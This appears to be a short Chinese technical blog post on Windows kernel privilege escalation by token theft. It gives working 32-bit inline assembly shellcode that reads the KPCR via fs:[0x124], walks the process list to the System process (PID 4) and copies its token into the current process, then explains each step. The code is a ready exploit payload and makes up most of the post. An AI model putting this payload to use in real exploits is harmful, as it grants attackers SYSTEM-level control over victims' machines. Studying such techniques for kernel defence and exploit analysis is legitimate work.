通过kpcr 找到system 进程的地址

本文介绍了一种通过kpcr结构找到system进程,并替换其token来实现提权的技术。首先,从fs段获取kpcr,接着找到CurrentThread结构,进一步得到当前线程的kprocess。然后遍历进程链表定位到PID为4的system进程,最后将system进程的token复制到当前进程,完成提权操作。
    __asm {
        pushad
        int 3
        mov eax, fs:[0x124]
        mov ebx, [eax + 0x50]
        mov eax, 4
        mov ecx, ebx

        SEARCH:
        mov ecx, [ecx + 0xb8]
        sub ecx, 0xb8
        cmp eax, [ecx + 0xb4]
        jnz SEARCH
        mov eax, [ecx + 0xf8]
        mov [ebx + 0xf8], eax

        popad
        ret 0x10
    }

这是一段通过替换token 来实现提权的 代码。
fs 段的起始地址即为 kpcr 的地址,其中fs:[124h] 指向的是kpcrb中的CurrentThread 机构,即当前线程。
接下来的 [eax + 50] 则指向了kthread 中的kprocess指针。所以这时得到了当前进程的kprocess。
然后从当前进程kprocess中找到ProcessListEntry 指针,遍历进程链表,找到一个进程号为4的进程,即为system 进程。

然后及那个system 进程的token 替换到 当前进程的token 即可实现提权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值